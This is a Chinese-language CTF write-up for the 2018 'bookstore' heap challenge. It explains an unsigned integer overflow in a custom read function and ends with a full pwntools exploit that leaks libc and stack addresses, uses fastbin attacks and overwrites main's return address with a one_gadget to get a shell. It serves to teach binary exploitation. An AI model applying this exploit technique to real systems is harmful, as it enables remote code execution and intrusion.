Pwn

铁三2018全国总决赛之bookstore

fastbin attack + 整数溢出

Posted by Chris on December 11, 2018

checksec

1
2
3
4
5
6
7
8
chris@ubuntu:~$ checksec myhouse
[*] '/home/chris/myhouse'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序功能

1
2
3
4
1.add a book
2.sell a book
3.read a book
4.exit

read功能函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall readn(__int64 a1, int a2)
{
  __int64 result; // rax
  unsigned int v3; // eax
  unsigned __int8 buf; // [rsp+1Bh] [rbp-5h]
  unsigned int v5; // [rsp+1Ch] [rbp-4h]

  v5 = 0;
  while ( 1 )
  {
    result = (unsigned int)(a2 - 1);
    if ( (unsigned int)result <= v5 )
      break;
    read(0, &buf, 1uLL);
    result = buf;
    if ( buf == 10 )
      break;
    v3 = v5++;
    *(_BYTE *)(a1 + v3) = buf;
  }
  return result;
}

添加功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int add_book()
{
  size_t size; // [rsp+8h] [rbp-8h]

  for ( HIDWORD(size) = 0; HIDWORD(size) <= 0xF && qword_602080[5 * HIDWORD(size)]; ++HIDWORD(size) )
    ;
  if ( HIDWORD(size) == 16 )
    puts("Too many books");
  puts("What is the author name?");
  readn(40LL * HIDWORD(size) + 0x602060, 31);
  puts("How long is the book name?");
  _isoc99_scanf("%u", &size);
  if ( (unsigned int)size > 0x50 )
    return puts("Too big!");
  qword_602080[5 * HIDWORD(size)] = malloc((unsigned int)size);
  puts("What is the name of the book?");
  readn(qword_602080[5 * HIDWORD(size)], size);
  return puts("Done!");
}

分析出一个结构体:

1
2
3
4
5
6
7
struct book{

char author[30] ;
char nop[2];    // 0 填充
char *bookname; 

}

删除功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int sellbook()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Which book do you want to sell?");
  _isoc99_scanf("%u", &v1);
  if ( v1 > 0x10 )
    return puts("Out of bound!");
  if ( !qword_602080[5 * v1] )
    return puts("No such book!");
  free((void *)qword_602080[5 * v1]);
  qword_602080[5 * v1] = 0LL;
  return puts("Done!");
}

查看功能

1
2
3
4
5
6
7
8
9
10
11
12
int readbook()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Which book do you want to sell?");
  _isoc99_scanf("%u", &v1);
  if ( v1 > 0x10 )
    return puts("Out of bound!");
  if ( qword_602080[5 * v1] )
    return printf("Author:%s\nBookname:%s\n", 40LL * v1 + 6299744, qword_602080[5 * v1]);
  return puts("No such book!");
}

漏洞利用

程序只有添加,删除,查看功能。

  • malloc时只能分配不大于0x50的fastbin,但之前没有检测size的大小是否为零,所以想利用0x7f这个大小来实行fastbin_attack来控制malloc_hook不可行
  • free时book[]数组的指针有置零处理,所以double free等很多利用方式都被限制

仔细分析了一下代码,发现作者自己实现的readn函数里面存在整数溢出,下面是溢出代码:

1
result = (unsigned int)(a2 - 1);

a2是传入的长度参数,result是限制每次写的长度为a2-1,所以每次add时只能写入预先的 size -1长度字节

但这里,result被强制转换为了无符号整数,什么概念呢?假如此时传入的长度a2为0,那么 result = -1 = 0xffffffffffffffff ,是一个非常大的正数,由此可实现几乎无限长度溢出。

由于程序只能在add时溢出,我们先分配一个0x10 size 大小的book1,再在该book1空间下方分配一个较大的book2,释放掉book1,再分配一个 0 size 大小的book,这时会重用刚才释放的book1空间,就能实现溢出覆盖book2的内存空间,便可以实行fastbin_attack.

还有每次只能分配不大于0x50这个限制很让人蛋疼,我尝试搜寻内存中可利用的size,找到main函数的选项编号这个变量s,代码中字符型s被转换成整型的v3

1
2
3
4
5
6
7
8
int v3; // eax
char s; // [rsp+0h] [rbp-10h]
menu();
memset(&s, 0, 0x10uLL);
read(0, &s, 0x10uLL);
v3 = atoi(&s);
if ( v3 != 2 )
    break;

add功能的编号为1,ASCII码为0x31,刚好为分配0x20 size 大小的chunk空间,单步执行到选择功能那块代码,观察栈空间,功能编号变量 s (0x31) 刚好在main函数的返回地址上方,如图:

pic1

所以我在泄露env环境变量,计算栈偏移后,利用fastbin_attack攻击并控制栈,覆盖main函数返回地址为one_gadget,getshell,感觉头发掉光光……..

详细步骤见EXP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

#context(os='linux', arch='amd64', log_level='debug')
p = process("./bookstore")
libc = ELF("./libc-2.19.so")

def add(name,size,data):
    p.recvuntil("choice:\n")
    p.sendline(str(1)+"\x00"*0x7)   # 覆盖掉标号变量后面的0xa换行符
    p.recvuntil("author name?\n")
    p.sendline(name)
    p.recvuntil("book name?\n")
    p.sendline(str(size))
    p.recvuntil("book?\n")
    p.sendline(data)

def show(idx):
    p.recvuntil("choice:\n")
    p.sendline(str(3))
    p.recvuntil("sell?\n")
    p.sendline(str(idx))

def dele(idx):
    p.recvuntil("choice:")
    p.sendline(str(2))
    p.recvuntil("sell?\n")
    p.sendline(str(idx))

def g(p):
    raw_input()
    gdb.attach(p)
    raw_input()

###  伪造0xc1大小堆块,泄露libc地址,及环境变量env地址,one_gadget地址

add("a"*8+"\x31",0x10,"a")  # 0
add("b",0x50,"b")  # 1
add("c",0x50,"c")  # 2
add("d",0x50,"d")  # 3
dele(0)

add("c",0,p64(0)*3+p64(0xc1))
dele(1)
add("b",0x50,"b"*8)
show(1)
p.recvuntil("bbbbbbbb")
libc_base = u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))-264-0x3c2760
print "libc : " +hex(libc_base)

env=libc_base+ libc.symbols['environ']
one_gadget=libc_base+0xea36d
print "env : " +hex(env)
print "one_gadget : " +hex(one_gadget)

add("b",0x50,"f"*8)  # 4

###  fastbin_attack控制位于bss段的book,修改bookname指针为env,泄露栈地址

add("a",0x10,"aaaaaaa")  # 5 
add("a",0x20,"aaaaaaa")  # 6
add("a",0x20,"bbbbbbb")  # 7

dele(5)
dele(6)
add("d",0,p64(0)*3+p64(0x31)+p64(0x602060))
add("f",0x20,"s")
add("Z",0x20,p64(0)*2+p64(env))  # 8
show(0)
p.recvuntil("Bookname:")
stack=u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))-0x110
print "stack : "+ hex(stack)

###  利用0x31编号,fastbin_attack控制返回地址栈附近,写入one_gadegt.

add("a",0x10,"aaaaaaa")  # 9
add("a",0x20,"aaaaaaa")  # 10
add("a",0x20,"bbbbbbb")  # 11

dele(9)
dele(10)

add("s",0,p64(0)*3+p64(0x31)+p64(stack))
add("B",0x20,"2"*0x10)
add("h",0x20,p64(0)+p64(0)+p64(one_gadget)) 

### 退出 ,getshell

p.recvuntil("choice:")
p.sendline(str(4))

p.interactive()

程序和脚本下载